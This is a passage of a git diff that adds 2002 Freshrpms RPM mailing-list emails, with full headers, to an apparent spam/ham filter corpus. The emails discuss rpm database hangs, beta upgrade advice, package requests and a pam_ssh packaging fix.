upgrade from old limbo (.92) +>>to new limbo (.93)? +>> +>>Apt for rpm from the 7.3 days barely works on Limbo1, and the package: +>>apt-0.5.4cnc6-dwd2.src.rpm will not compile on the Libbo1 box (I was +>>going to use that to dist-upgrade to Limbo2). +> +> +> Well, the 7.3 binary should work as long as you install the "rpm404" (IIRC) +> compatibility library. The only problem I have with some rpm 4.1 versions +> is that it sometimes hangs at the and of operations (-e, -i, -F or -U) and +> the only workaround is to kill it, "rm -f /var/lib/rpm/__*" and try again. + +Well, you're lucky if it sometimes works for you. Mine hang all the +time, have to kill 'em with -9. And after that, rpm doesn't work at all +(hangs right after i run the command, prints nothing). Have to reboot +the machine to get anything rpm-related to work again. + +> Matthias + +-silent + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01244.c690f6ce67e25f90d627bb526bf22d2d b/bayes/spamham/easy_ham_2/01244.c690f6ce67e25f90d627bb526bf22d2d new file mode 100644 index 0000000..d8f8cd8 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01244.c690f6ce67e25f90d627bb526bf22d2d @@ -0,0 +1,80 @@ +From rpm-list-admin@freshrpms.net Fri Aug 16 11:49:50 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D2F1743C40 + for ; Fri, 16 Aug 2002 06:38:53 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 11:38:53 +0100 (IST) +Received: from egwn.net (auth02.nl.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7GAZGa13273 for + ; Fri, 16 Aug 2002 11:35:16 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7GAX2J10422; Fri, 16 Aug 2002 12:33:03 + +0200 +Received: from python (gw01.es3.egwn.net [212.9.66.13]) (authenticated) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7GAW4J29801 for + ; Fri, 16 Aug 2002 12:32:04 +0200 +From: Matthias Saou +To: rpm-zzzlist@freshrpms.net +Subject: Re: advice on 7.3.92 to 7.3.93, and Apt compiling +Message-Id: <20020816123051.14fc1170.matthias@egwn.net> +In-Reply-To: <3D5CCF34.7050509@myrealbox.com> +References: <20020816.utj.20032800@www.dudex.net> + <20020816114759.2b1ed25e.matthias@egwn.net> + <3D5CCF34.7050509@myrealbox.com> +Organization: Electronic Group Interactive +X-Mailer: Sylpheed version 0.8.1claws (GTK+ 1.2.10; i386-redhat-linux) +Reply-BY: Tue, 24 Jul 2000 19:02:00 +1000 +X-Operating-System: GNU/Linux power! +X-Message-Flag: Try using a real operating system : GNU/Linux power! +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 16 Aug 2002 12:30:51 +0200 +Date: Fri, 16 Aug 2002 12:30:51 +0200 + +Once upon a time, Daniel wrote : + +> > Well, the 7.3 binary should work as long as you install the "rpm404" +> > (IIRC) compatibility library. The only problem I have with some rpm 4.1 +> > versions is that it sometimes hangs at the and of operations (-e, -i, +> > -F or -U) and the only workaround is to kill it, "rm -f +> > /var/lib/rpm/__*" and try again. +> +> Well, you're lucky if it sometimes works for you. Mine hang all the +> time, have to kill 'em with -9. And after that, rpm doesn't work at all +> (hangs right after i run the command, prints nothing). Have to reboot +> the machine to get anything rpm-related to work again. + +After that "kill -9", removing the "__*" files in /var/lib/rpm/ and trying +again works 100% of the time for me. Did you try that? + +Matthias + +-- +Matthias Saou World Trade Center +------------- Edificio Norte 4 Planta +System and Network Engineer 08039 Barcelona, Spain +Electronic Group Interactive Phone : +34 936 00 23 23 + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01245.44d8e6ea8ff7044b2181b262c78924c7 b/bayes/spamham/easy_ham_2/01245.44d8e6ea8ff7044b2181b262c78924c7 new file mode 100644 index 0000000..be3d211 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01245.44d8e6ea8ff7044b2181b262c78924c7 @@ -0,0 +1,70 @@ +From rpm-list-admin@freshrpms.net Fri Aug 16 12:10:41 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4EBA143C32 + for ; Fri, 16 Aug 2002 07:10:41 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 12:10:41 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7GBAYa14417 for + ; Fri, 16 Aug 2002 12:10:34 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7GB82J01704; Fri, 16 Aug 2002 13:08:02 + +0200 +Received: from linuxfr.dyndns.org + (APastourelles-107-1-8-246.abo.wanadoo.fr [217.128.252.246]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7GB7VJ29687 for + ; Fri, 16 Aug 2002 13:07:31 +0200 +Received: from localhost (localhost [127.0.0.1]) by linuxfr.dyndns.org + (Postfix) with ESMTP id AA16A7BD12 for ; + Fri, 16 Aug 2002 13:09:14 +0200 (CEST) +Received: from 10.0.0.4 ( [10.0.0.4]) as user ajacoutot@linuxfr.dyndns.org + by linuxfr.dyndns.org with HTTP; Fri, 16 Aug 2002 13:09:14 +0200 +Message-Id: <1029496154.3d5cdd5a870d5@linuxfr.dyndns.org> +From: Antoine Jacoutot +To: "rpm-zzzlist@freshrpms.net" +Subject: request ? +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-15 +Content-Transfer-Encoding: 8bit +User-Agent: Internet Messaging Program (IMP) 3.1 +X-Originating-Ip: 10.0.0.4 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 16 Aug 2002 13:09:14 +0200 +Date: Fri, 16 Aug 2002 13:09:14 +0200 + +Hi, I wanted to know if I could post a request for rpm on the list, or if I had +to contact Mathias directly ? +Thanks... + +-- +Antoine Jacoutot +Linux - Redhat 7.3 Valhalla +ajacoutot@linuxfr.dyndns.org +http://linuxfr.dyndns.org +http://windowsfr.dyndns.org + + + + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01246.f1ce2b351f0bf13ea5426d363575671e b/bayes/spamham/easy_ham_2/01246.f1ce2b351f0bf13ea5426d363575671e new file mode 100644 index 0000000..7b4fa2e --- /dev/null +++ b/bayes/spamham/easy_ham_2/01246.f1ce2b351f0bf13ea5426d363575671e @@ -0,0 +1,71 @@ +From rpm-list-admin@freshrpms.net Fri Aug 16 14:00:35 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E3EC643C32 + for ; Fri, 16 Aug 2002 09:00:34 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 14:00:34 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7GCv4a18662 for + ; Fri, 16 Aug 2002 13:57:04 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7GCt3J07966; Fri, 16 Aug 2002 14:55:04 + +0200 +Received: from python (gw01.es3.egwn.net [212.9.66.13]) (authenticated) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7GCrdJ07782 for + ; Fri, 16 Aug 2002 14:53:40 +0200 +From: Matthias Saou +To: rpm-zzzlist@freshrpms.net +Subject: Re: request ? +Message-Id: <20020816145304.2a6fc4eb.matthias@egwn.net> +In-Reply-To: <1029496154.3d5cdd5a870d5@linuxfr.dyndns.org> +References: <1029496154.3d5cdd5a870d5@linuxfr.dyndns.org> +Organization: Electronic Group Interactive +X-Mailer: Sylpheed version 0.8.1claws (GTK+ 1.2.10; i386-redhat-linux) +Reply-BY: Tue, 24 Jul 2000 19:02:00 +1000 +X-Operating-System: GNU/Linux power! +X-Message-Flag: Try using a real operating system : GNU/Linux power! +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 16 Aug 2002 14:53:04 +0200 +Date: Fri, 16 Aug 2002 14:53:04 +0200 + +Once upon a time, Antoine wrote : + +> Hi, I wanted to know if I could post a request for rpm on the list, or if +> I had to contact Mathias directly ? +> Thanks... + +Well, since you posted, you could have asked just in case while you were at +it ;-) I don't often fulfill requests, so don't expect any miracles :-/ + +Matthias + +-- +Matthias Saou World Trade Center +------------- Edificio Norte 4 Planta +System and Network Engineer 08039 Barcelona, Spain +Electronic Group Interactive Phone : +34 936 00 23 23 + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01247.7f42ed95bbbc1c8d357422fe4a069642 b/bayes/spamham/easy_ham_2/01247.7f42ed95bbbc1c8d357422fe4a069642 new file mode 100644 index 0000000..77f573b --- /dev/null +++ b/bayes/spamham/easy_ham_2/01247.7f42ed95bbbc1c8d357422fe4a069642 @@ -0,0 +1,77 @@ +From rpm-list-admin@freshrpms.net Fri Aug 16 15:06:02 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D6E8743C32 + for ; Fri, 16 Aug 2002 10:05:50 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 15:05:50 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7GDtVa20196 for + ; Fri, 16 Aug 2002 14:55:31 +0100 +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by webnote.net + (8.9.3/8.9.3) with ESMTP id OAA14131 for ; + Fri, 16 Aug 2002 14:29:07 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7GDL5J20471; Fri, 16 Aug 2002 15:21:05 + +0200 +Received: from linuxfr.dyndns.org + (APastourelles-107-1-8-246.abo.wanadoo.fr [217.128.252.246]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7GDK4J19961 for + ; Fri, 16 Aug 2002 15:20:05 +0200 +Received: from localhost (localhost [127.0.0.1]) by linuxfr.dyndns.org + (Postfix) with ESMTP id 52FB57BD12 for ; + Fri, 16 Aug 2002 15:21:49 +0200 (CEST) +Received: from 10.0.0.4 ( [10.0.0.4]) as user ajacoutot@linuxfr.dyndns.org + by linuxfr.dyndns.org with HTTP; Fri, 16 Aug 2002 15:21:49 +0200 +Message-Id: <1029504109.3d5cfc6d42b7e@linuxfr.dyndns.org> +From: Antoine Jacoutot +To: rpm-zzzlist@freshrpms.net +Subject: Re: request ? +References: <1029496154.3d5cdd5a870d5@linuxfr.dyndns.org> + <20020816145304.2a6fc4eb.matthias@egwn.net> +In-Reply-To: <20020816145304.2a6fc4eb.matthias@egwn.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-15 +Content-Transfer-Encoding: 8bit +User-Agent: Internet Messaging Program (IMP) 3.1 +X-Originating-Ip: 10.0.0.4 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 16 Aug 2002 15:21:49 +0200 +Date: Fri, 16 Aug 2002 15:21:49 +0200 + +> Once upon a time, Antoine wrote : +> +> > Hi, I wanted to know if I could post a request for rpm on the list, or if +> > I had to contact Mathias directly ? +> > Thanks... +> +> Well, since you posted, you could have asked just in case while you were at +> it ;-) I don't often fulfill requests, so don't expect any miracles :-/ + +...true... +Well, I have so many requests that I can't decide which ones I go first... let's +say: drip, bastille, avidemux and motion. +I'm not asking... just proposing to you... +Thanks. + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01248.5c4c3971e0d9f6ed510e246a14d414a2 b/bayes/spamham/easy_ham_2/01248.5c4c3971e0d9f6ed510e246a14d414a2 new file mode 100644 index 0000000..729566b --- /dev/null +++ b/bayes/spamham/easy_ham_2/01248.5c4c3971e0d9f6ed510e246a14d414a2 @@ -0,0 +1,154 @@ +From rpm-list-admin@freshrpms.net Fri Aug 16 18:16:39 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4480543C34 + for ; Fri, 16 Aug 2002 13:16:39 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 18:16:39 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7GHGi629268 for + ; Fri, 16 Aug 2002 18:16:44 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7GHE1J08776; Fri, 16 Aug 2002 19:14:02 + +0200 +Received: from boukha.centre-cired.fr (boukha.centre-cired.fr + [193.51.120.234]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g7GHD8J08647 for ; Fri, 16 Aug 2002 19:13:08 +0200 +Received: from hermes.centre-cired.fr ([193.51.120.92]) by + boukha.centre-cired.fr (8.9.3+Sun/jtpda-5.3.3) with ESMTP id TAA26326 for + ; Fri, 16 Aug 2002 19:10:33 +0100 (WEST) +From: dumas@centre-cired.fr (Patrice DUMAS - DOCT) +Received: (from dumas@localhost) by hermes.centre-cired.fr (8.11.6/8.11.6) + id g7GGunj30448 for rpm-list@freshrpms.net; Fri, 16 Aug 2002 18:56:49 + +0200 +To: rpm-zzzlist@freshrpms.net +Subject: when building a rpm i386-redhat-linux- is appended to man page +Message-Id: <20020816185647.I1134@hermes.centre-cired.fr> +Mail-Followup-To: rpm-zzzlist@freshrpms.net +MIME-Version: 1.0 +Content-Type: multipart/mixed; boundary="Fig2xvG2VGoz8o/s" +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 16 Aug 2002 18:56:47 +0200 +Date: Fri, 16 Aug 2002 18:56:47 +0200 + + +--Fig2xvG2VGoz8o/s +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline + +Hi, + +When I do a +rpm -ta on the package (pam_ssh), in the %makeinstall phase, I get +/usr/bin/install -c -m 644 ./pam_ssh.8 /var/tmp/pam_ssh-root/usr/share/man/man8/i386-redhat-linux-pam_ssh.8 +instead of what would have been right: +/usr/bin/install -c -m 644 ./pam_ssh.8 /var/tmp/pam_ssh-root/usr/share/man/man8/pam_ssh.8 + +With a plain ./configure; make; make install I get the right +/usr/bin/install -c -m 644 ./pam_ssh.8 /usr/local/man/man8/pam_ssh.8 + +Is it something normal ? Could you please help me to get this right ? + +I join the Makefile.am and the spec file. + +Pat + +--Fig2xvG2VGoz8o/s +Content-Type: text/plain; charset=us-ascii +Content-Disposition: attachment; filename="Makefile.am" + +# $Id: Makefile.am,v 1.6 2002/08/09 18:33:24 akorty Exp $ + +lib_LTLIBRARIES = libpam_ssh.la +libpam_ssh_la_LIBADD = @LTLIBOBJS@ +libpam_ssh_la_SOURCES = atomicio.c atomicio.h authfd.c authfd.h \ + authfile.c authfile.h bufaux.c bufaux.h \ + buffer.c buffer.h cipher.c cipher.h getput.h \ + kex.h key.c key.h log.c log.h pam_mod_misc.h \ + pam_ssh.c pam_ssh.h rijndael.c rijndael.h \ + xmalloc.c xmalloc.h openpam_cred.h +man_MANS = pam_ssh.8 +securitydir = @PAMDIR@ +AUTOMAKE_OPTIONS = dist-bzip2 +EXTRA_DIST = $(man_MANS) pam_ssh.spec + +libtool: $(LIBTOOL_DEPS) + $(SHELL) ./config.status --recheck + +install-libLTLIBRARIES: $(lib_LTLIBRARIES) + @$(NORMAL_INSTALL) + $(mkinstalldirs) $(DESTDIR)$(securitydir) + $(INSTALL_DATA) .libs/libpam_ssh.so \ + $(DESTDIR)$(securitydir)/pam_ssh.so + + +--Fig2xvG2VGoz8o/s +Content-Type: text/plain; charset=us-ascii +Content-Disposition: attachment; filename="pam_ssh.spec" + +Summary: pam_ssh package +Name: pam_ssh +Version: 1.7 +Release: 1 +URL: http://sourceforge.net/projects/pam-ssh/ +Source0: %{name}-%{version}.tar.gz +License: BSD +BuildRoot: %{_tmppath}/%{name}-root +Requires: pam, openssh, openssh-clients +BuildRequires: pam-devel +Group: System Environment/Base + +%description +This PAM module provides single sign-on behavior for UNIX using SSH. Users +are authenticated by decrypting their SSH private keys with the password +provided (probably to XDM). In the PAM session phase, an ssh-agent process is +started and keys are added. + +%prep +%setup -q + +%build +%configure +make clean +make + +%install +rm -rf $RPM_BUILD_ROOT +%makeinstall securitydir=$RPM_BUILD_ROOT/lib/security + +%clean +rm -rf $RPM_BUILD_ROOT + +%files +%defattr(-,root,root) +/lib/security/pam_ssh.so +%{_mandir}/*/pam_ssh* + +%changelog +* Fri Aug 16 2002 Dumas Patrice +- Initial build. + +--Fig2xvG2VGoz8o/s-- + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01249.8949e6dbf80be84147b2e2d088f726a2 b/bayes/spamham/easy_ham_2/01249.8949e6dbf80be84147b2e2d088f726a2 new file mode 100644 index 0000000..7453f4a --- /dev/null +++ b/bayes/spamham/easy_ham_2/01249.8949e6dbf80be84147b2e2d088f726a2 @@ -0,0 +1,70 @@ +From rpm-list-admin@freshrpms.net Mon Aug 19 10:55:32 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 20004440FE + for ; Mon, 19 Aug 2002 05:47:24 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:47:24 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7GHvB630550 for + ; Fri, 16 Aug 2002 18:57:11 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7GHq1J06482; Fri, 16 Aug 2002 19:52:02 + +0200 +Received: from boukha.centre-cired.fr (boukha.centre-cired.fr + [193.51.120.234]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g7GHpMJ00460 for ; Fri, 16 Aug 2002 19:51:22 +0200 +Received: from hermes.centre-cired.fr ([193.51.120.92]) by + boukha.centre-cired.fr (8.9.3+Sun/jtpda-5.3.3) with ESMTP id TAA26751 for + ; Fri, 16 Aug 2002 19:48:50 +0100 (WEST) +From: dumas@centre-cired.fr (Patrice DUMAS - DOCT) +Received: (from dumas@localhost) by hermes.centre-cired.fr (8.11.6/8.11.6) + id g7GHZ2F03363 for rpm-list@freshrpms.net; Fri, 16 Aug 2002 19:35:02 + +0200 +To: rpm-zzzlist@freshrpms.net +Subject: Re: when building a rpm i386-redhat-linux- is appended to man page +Message-Id: <20020816193501.J1134@hermes.centre-cired.fr> +Mail-Followup-To: rpm-zzzlist@freshrpms.net +References: <20020816185647.I1134@hermes.centre-cired.fr> + <20020816192240.6ebaaffb.matthias@egwn.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <20020816192240.6ebaaffb.matthias@egwn.net>; from + matthias@egwn.net on Fri, Aug 16, 2002 at 07:22:40PM +0200 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 16 Aug 2002 19:35:01 +0200 +Date: Fri, 16 Aug 2002 19:35:01 +0200 + +> This is a common problem with some build files that think you're cross +> compiling, and when you really are, this is in fact a feature :-/ +> +> The workaround is to pass an extra argument to configure as follows : +> +> %configure --program-prefix=%{?_program_prefix:%{_program_prefix}} + +Merci. It worked nicely. + +Pat + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01250.251cd2980fe50e11a32144c7b2addaee b/bayes/spamham/easy_ham_2/01250.251cd2980fe50e11a32144c7b2addaee new file mode 100644 index 0000000..a4a7d0b --- /dev/null +++ b/bayes/spamham/easy_ham_2/01250.251cd2980fe50e11a32144c7b2addaee @@ -0,0 +1,70 @@ +From rpm-list-admin@freshrpms.net Mon Aug 19 10:56:08 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 323D543C37 + for ; Mon, 19 Aug 2002 05:48:10 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:48:10 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7GNDP607406 for + ; Sat, 17 Aug 2002 00:13:25 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7GNA3J14877; Sat, 17 Aug 2002 01:10:03 + +0200 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [66.187.233.31]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7GN9SJ14101 for + ; Sat, 17 Aug 2002 01:09:28 +0200 +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id + g7GMtTl16158 for ; Fri, 16 Aug 2002 18:55:29 -0400 +Received: from pobox.corp.spamassassin.taint.org (pobox.corp.spamassassin.taint.org + [172.16.52.156]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id + g7GN9RY12250 for ; Fri, 16 Aug 2002 19:09:27 -0400 +Received: from ckk.rdu.spamassassin.taint.org (ckk.rdu.spamassassin.taint.org [172.16.57.72]) by + pobox.corp.redhat.com (8.11.6/8.11.6) with ESMTP id g7GN9Ri21864 for + ; Fri, 16 Aug 2002 19:09:27 -0400 +Subject: Re: advice on 7.3.92 to 7.3.93, and Apt compiling +From: Chris Kloiber +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <20020816.utj.20032800@www.dudex.net> +References: <20020816.utj.20032800@www.dudex.net> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8 (1.0.8-6) +Message-Id: <1029539363.3234.48.camel@ckk.rdu.spamassassin.taint.org> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 16 Aug 2002 19:09:23 -0400 +Date: 16 Aug 2002 19:09:23 -0400 + +On Fri, 2002-08-16 at 04:28, Angles Puglisi wrote: +> Any sage advice on the most painless way to upgrade from old limbo (.92) to new +> limbo (.93)? + +Format and reinstall. There is no supported upgrade path from beta to +beta, or from beta to release. + +-- +Chris Kloiber + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01251.699a25b1e5631ec1cffdfe4078535959 b/bayes/spamham/easy_ham_2/01251.699a25b1e5631ec1cffdfe4078535959 new file mode 100644 index 0000000..aa2b378 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01251.699a25b1e5631ec1cffdfe4078535959 @@ -0,0 +1,71 @@ +From rpm-list-admin@freshrpms.net Mon Aug 19 10:57:20 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8685843C3D + for ; Mon, 19 Aug 2002 05:49:07 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:49:07 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7H9Zw625654 for + ; Sat, 17 Aug 2002 10:35:58 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7H9X2J04082; Sat, 17 Aug 2002 11:33:02 + +0200 +Received: from r220-1.rz.RWTH-Aachen.DE (r220-1.rz.RWTH-Aachen.DE + [134.130.3.31]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g7GHw2J09941 for ; Fri, 16 Aug 2002 19:58:03 +0200 +Received: from r220-1.rz.RWTH-Aachen.DE (relay2.RWTH-Aachen.DE + [134.130.3.1]) by r220-1.rz.RWTH-Aachen.DE (8.12.1/8.11.3-2) with ESMTP id + g7GHw37S015170 for ; Fri, 16 Aug 2002 19:58:03 + +0200 (MEST) +Received: from wilson (wilson.weh.RWTH-Aachen.DE [137.226.141.141]) by + r220-1.rz.RWTH-Aachen.DE (8.12.1/8.11.3/24) with SMTP id g7GHw39i015167 + for ; Fri, 16 Aug 2002 19:58:03 +0200 (MEST) +Content-Type: text/plain; charset="iso-8859-15" +From: Torsten Bronger +Organization: RWTH Aachen +To: "RPM Mailing List" +Subject: Portable RPMs +X-Mailer: KMail [version 1.2] +MIME-Version: 1.0 +Message-Id: <02081619580702.01597@wilson> +X-Mailscanner: Found to be clean, Found to be clean +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by egwn.net id + g7GHw2J09941 +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: 